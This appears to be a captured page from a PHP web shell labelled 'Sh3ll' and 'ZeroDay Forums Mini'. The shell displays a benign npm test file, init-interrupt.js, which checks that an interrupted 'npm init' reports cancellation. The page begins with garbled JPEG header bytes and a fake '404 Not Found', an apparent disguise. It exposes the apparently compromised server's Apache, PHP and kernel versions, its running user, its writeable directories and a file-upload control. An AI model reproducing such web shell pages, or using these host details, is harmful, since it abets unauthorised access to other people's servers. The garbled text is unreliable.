����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/npm/test/tap/init-interrupt.js
/* eslint-disable standard/no-callback-literal */
// if 'npm init' is interrupted with ^C, don't report
// 'init written successfully'
var test = require('tap').test
var osenv = require('osenv')
var rimraf = require('rimraf')
var npmlog = require('npmlog')
var requireInject = require('require-inject')

var npm = require('../../lib/npm.js')

const common = require('../common-tap.js')
var PKG_DIR = common.pkg

test('setup', function (t) {
  cleanup()

  t.end()
})

test('issue #6684 remove confusing message', function (t) {
  var initJsonMock = function (dir, input, config, cb) {
    process.nextTick(function () {
      cb({ message: 'canceled' })
    })
  }
  initJsonMock.yes = function () { return true }

  npm.load({ loglevel: 'silent' }, function () {
    var log = ''
    var init = requireInject('../../lib/init', {
      'init-package-json': initJsonMock
    })

    // capture log messages
    npmlog.on('log', function (chunk) { log += chunk.message + '\n' })

    init([], function (err, code) {
      t.ifError(err, 'init ran successfully')
      t.notOk(code, 'exited without issue')
      t.notSimilar(log, /written successfully/, 'no success message written')
      t.similar(log, /canceled/, 'alerted that init was canceled')

      t.end()
    })
  })
})

test('cleanup', function (t) {
  cleanup()

  t.end()
})

function cleanup () {
  process.chdir(osenv.tmpdir())
  rimraf.sync(PKG_DIR)
}

ZeroDay Forums Mini